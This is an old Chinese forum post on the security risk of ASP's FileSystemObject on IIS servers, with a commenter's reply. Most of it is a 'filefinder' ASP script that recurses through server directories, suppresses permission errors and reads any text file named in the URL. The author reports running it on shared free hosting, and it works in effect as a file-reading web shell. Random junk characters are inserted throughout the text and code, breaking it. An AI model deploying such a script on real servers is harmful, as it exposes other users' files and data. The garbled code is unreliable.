ASP中FSO对象对IIS WEB服务器数据安全的威胁及对策

Kiver 发布于2003-11-9 10:16 694 次浏览 1 位用户参与讨论   [复制分享主题]

* y' W; m" H/ f& k 6 @8 z  o( p4 R1 i
( e% g: y  }7 S" R& g6 n: }: U
scripting.filesystemobject 对象是由 scrrun.dll 提供的许多供 vbscript/jscript 控制的 com 对象之一。scripting.filesystemobject 提供了非常便利的文本文件和文件目录的访问,但是同时也对 iis web 服务器数据安全造成了一定的威胁。 7 \& _' g! a) X$ I. L

& d/ e: b# Q- p' }0 Nfilefinder 的代码很简单,由3 个函数和 30 行左右的顺序代码构成。
/ ~% H* @; h  N; @  h! l, p$ Z9 B4 o# U; m) A3 O
最关键的是 findfiles 函数,通过对它的递归调用实现对某个目录的遍历,并且按照特定的文件扩展名来搜寻这些文件。
* O& J6 x. |( E9 r: F7 L) U6 S' G+ n0 [# a8 ]% W4 l
8 N' P9 L7 c# l
function findfiles(strstartfolder, strext)
) z; R3 m. l: |6 S; X2 N4 c5 i
: v" U9 L) r9 ^dim n
1 l) }" o+ k9 E: K3 R, j
4 O; s( D- B/ H  x$ f& vdim othisfolder/ Y7 ^6 ]4 |. D: ]& a4 F
! h& W! V$ v3 y& }* y7 a* I
dim ofolders
4 a; y. \* c7 y: }+ R$ ~& j+ A$ z* {4 i* L+ J
dim ofiles
. P. d" P: N. t, c
  `- }' I8 M3 p! f6 C3 a; }; T4 wdim ofolder
, l! m& \7 }9 u2 M  m. F' o( U9 M7 B
dim ofile1 L  k' S7 X4 E6 H& Q: j
& y0 A( @6 k' z# k8 u/ E) k

* P6 I- [/ k5 i' `' 如果系统管理员对文件系统的权限进行细致的设置话,下面的代码就要出错4 C6 T2 G' v* M: R$ U" K

) V9 K3 m  D, h+ r' 但是有些目录还是可以察看的,所以我们简单的把错误忽略过去! n  x3 a7 N( c- q

4 G4 ]2 \: E. Y+ m. J2 {- x. Hon error resume next
3 L( }7 t/ r7 k: |$ Q7 I) q, R/ I( [8 Z" u! K
n = 00 m) _6 x6 I; Z

- z6 _! j3 k/ l$ Z) Rresponse.write "<b>searching " & strstartfolder & "</b><br>"
1 d6 Q; @( _8 ], P( O
7 x. z  K8 T# zset othisfolder = g_fs.getfolder(strstartfolder)
/ z  d; n- G% ~6 _7 Y7 U9 A
+ E+ T) N1 g0 E& J. Aset ofiles = othisfolder.files2 G8 Y& R8 o" c; M9 |1 b: C2 v

* K0 C5 I( {# zfor each ofile in ofiles
3 C: P1 A) V& j0 g4 ]8 X% ~# _# c' Y4 L
# b  s6 Z& K" l7 T( b, S' 如果是指定的文件扩展名,输出连接导向本身,但用不同的命令 cmd  D, b4 l3 R0 Q* `* ^3 D( g

! h7 F- W1 B4 l' 在这里是 cmd=read,即读出指定物理路径的文本文件& u" z4 c4 T# ]$ t$ ], L
/ q' ~# }7 n( |  G4 t  F' \
if issuffix(ofile.path, strext) then
( T7 W% z( P% g2 b1 i# @
, U5 K8 p- P/ w0 L* B+ X3 g9 Gresponse.write "<a target=_blank href='ff.asp?cmd=read&path=" & server.htmlencode(ofile.path) & "'><font color='dodgerblue'>" & ofile.path & "</font></a><br>"
6 e) `8 y) |) V' ^/ y) U  Q
7 U' N* P* u' C" R; n9 P+ ^2 `if err = 0 then5 L; j0 m. y; j; A" j- u8 j
# [+ |* i4 Y) `
n = n + 1  K. X. Z7 a- ^+ b( R( ]
' ~6 v8 i3 K9 ?0 \. }8 p
end if
1 j* `6 j: W; w- [# G: }5 t0 `) h* V& P3 C. G
end if
$ Z; k0 ~+ z3 S, t2 R3 _+ G# S& c6 y- F/ v# B6 |
next
  N' u* q8 i. ~+ [3 [: q5 j* Y
% G( j7 J; Q4 l1 b+ m* {3 i5 I3 }6 m$ iset ofolders = othisfolder.subfolders) E; P+ ?5 z! I/ `( T) s

, V2 K. G2 i5 X9 q, Efor each ofolder in ofolders4 t0 X. Q5 K& P9 ]# a+ p

; v$ b, |- C5 S; q: W7 C' Fn = n + findfiles(ofolder.path, strext)
9 K; `) M- E  J8 \6 o4 p7 d3 q( Y0 v& J2 m1 z! j5 ?6 c
next: K# N1 B, W8 \1 W& M
# S0 X& D( X0 t, O4 u. C
findfiles = n' y. ?0 Q, N- {9 Z: p! C

( X5 {* B6 v/ Q, Xend function. z  O; j( A6 c1 X" a( B

7 `, y- Y0 m8 |! c9 F0 u下面的代码是对 url 后面的参数进行分析:
  ~: s! S. J9 D2 T8 G/ d- J3 p; t8 z# F1 y6 Y; i

+ ?& c0 {; M$ l$ j' 读出各个参数的值
5 C* W9 t  D" V6 j& ?
5 T4 u+ |. S. \  Qstrcmd = ucase(request.querystring("cmd"))1 S6 s" O; P0 q2 f. |
. X: V2 @9 z; `
strpath = request.querystring("path")  E+ j8 N% U) b, z5 W5 y) U2 a: {
+ h/ H9 p. W! \- g1 Y, h4 q$ I4 q
strext = request.querystring("ext")
4 n& m& N# T  t* a- a8 A# t+ k8 P2 u" O
brawdata = ucase(request.querystring("raw"))
# H% m/ ?; y8 B. w; v. ~
9 n& l' g$ Y! U% e) R' 默认搜索 .asp 文件
) P8 B7 M& r- J( P; w9 F
0 }5 M, i) k8 Iif strpath = "" then
# }* t& G! [: O. ]+ c: W% C
* ]2 x, L% L+ s- s# Estrpath = "."
6 r) h+ i0 }  _& D8 B
' o% g/ Z% s, o! p7 T7 ]2 send if  {/ e- i+ ~4 l4 B" {

0 }9 G5 K& r3 t5 J6 Y- E; Dif strext = "" then6 O9 q# i: U7 {6 V

, W7 w: F! b0 r% zstrext = ".asp"5 b3 A( g: p: C! P, o9 [! X, y/ A

5 O$ `1 V( U1 B  E, Nend if- f7 W2 A+ _8 b; j

: C. N" b! b6 Q/ [$ `% p" k
. D* ~8 h1 P9 Z" X; k, E$ Z  f' 根据不同的命令 cmd 执行不同的代码
6 F$ Z3 e; x& `; |
: q% P% m' l8 ~select case strcmd
5 S" X& ?- ]: j$ u* [3 x0 ?- s, c0 A2 v* P  q0 N9 p
case "find"" G0 @% i9 R' w" f

* Q: r9 b% ?9 s) I$ Yresponse.write findfiles(strpath, strext) & " file(s) found"
$ X+ F, M8 U/ h4 n8 a% ~2 }, Z  |5 N
case "read"
- T& d% V+ b$ c/ P! g' l. }" n/ h  {/ G. e5 Z3 g
if brawdata = "t" then
; [; B1 K; Z9 L. b$ O
' j' ^7 F" d3 r7 E1 u. H' Y0 Mresponse.write readtextfile(strpath)
% r/ o% z3 C' Q1 ?/ y" @/ C
, X# O, z3 P  V# ]else
6 t; t& K: Q( y  |, o! z: _# K7 }% C, h
response.write "<pre>" & server.htmlencode(readtextfile(strpath)) & "</pre>"
" w4 L6 B- t( g0 R$ h# P  K3 a' ?
! ?' c5 r1 s, v: h4 P% C% f$ nend if
; H& @) I0 F* L% K/ E1 A# t
( J; `1 N/ d* X  |/ C6 M( ?case else; V/ b. x! ?& ?/ l: \- u
7 I% H* Z+ z  @' a) U' u8 |
response.write "<h3>please specify a command to execute</h3>"
: F- {6 u0 e3 z
; N3 f, v6 v3 [7 r; vend select) k& P% N0 ^- K; B' U  Z# ^
& [! z$ ]0 \* O' e0 d2 u3 {/ k
从上面的分析可以看出,如果有足够的权限的话,我们就可以通过 filefinder 来查找 iis web 服务器上的任意文本文件,并且可以轻松的察看文件内容。对于非文本文件,可以确定他们是否存在及其所在路径,这对于高级 hacker 们来说,这些信息有时是极其重要的。' B- H4 W7 G9 Z& U* t3 ]+ w

) m. x7 p* V- m( Z- u4 Y9 h; b8 b但是这些对数据安全的威胁的前提条件是执行 ff.asp 的用户至少拥有读取目录和文件的权限。由于 windows nt server 在安装后的默认安全设置是所有用户都可以“读取”目录和文件,所以不管是 iis 默认的你名用户 iusr_servername 还是别的什么用户,都可以顺列的读取目录和文件的信息。而大多数 windows nt server系统管理员主要关心系统是否能够运行的起来,一般不愿意去改动默认的目录和文件权限,毕竟那样做要冒很大的风险,而且需要很多次得经验。所以,我们可以用 filefinder 来检查作为 web 服务器的 nt server 的文件系统的安全设置是否安全。
. o( _0 n4 h* R
5 R8 F& }( L9 z* L1 B2 E2 w4 Q7 Q作者专门对作为 iis web 服务器的文件系统的权限进行了人工设置,但限于没有经验,导致了许多奇怪的错误现象,如:所用的做实验的 nt server 4.0 不能进行 access 数据库的连接。而在进行文件系统权限改动之前,这些功能是正常的。- _: U! U; l; }3 N' h

& j) m1 @2 d* y' }本着纯粹研究的目的,作者还在我所申请的免费 asp 空间上作了试验(包括 csdn 提供的我的个人主页),结果是 filefinder 都可以顺利运行。而在http://www2.domaindlx.com/index.html 申请的个人主页却没有这个问题,可见这个免费 asp 主页提供商在这方面做的还是比较认真的。尽管 domaindlx 的 web 服务器运行在 windows 2000 server 上的,其默认的文件系统的安全权限和 nt 4.0 没有很大的差别。
+ p' L+ A$ y$ F0 {# a0 k
. q1 y0 F, I8 r  i( L由于作者的能力有限,就对这个问题讨论到这里。仅以此文来向国内的 asp 主页提供商提供参考意见,希望能对提供商和客户双方的数据安全都有所帮助。
# h; B7 h  h# r2 z& Z/ F' {& o9 Y0 b* J% q, l
附:用其它类似的服务器端脚本来运行的 web 服务,如果也提供类似 scripting.filesystemobject 的对文件系统操作的功能,不管什么平台应该存在同样的问题。; g# O$ w. ?; |/ O: ]
0 a, l" A: L7 }: D! Z& o6 x6 m$ K
( f; ]6 _( B; D; d+ H4 _

已有(1)人评论

ufree 发表于 2004-11-8 08:12:21 | 显示全部楼层
看不懂啊
您需要登录后才可以回帖 登录 | 註冊

本版积分规则

快速
回复
返回
列表
返回
顶部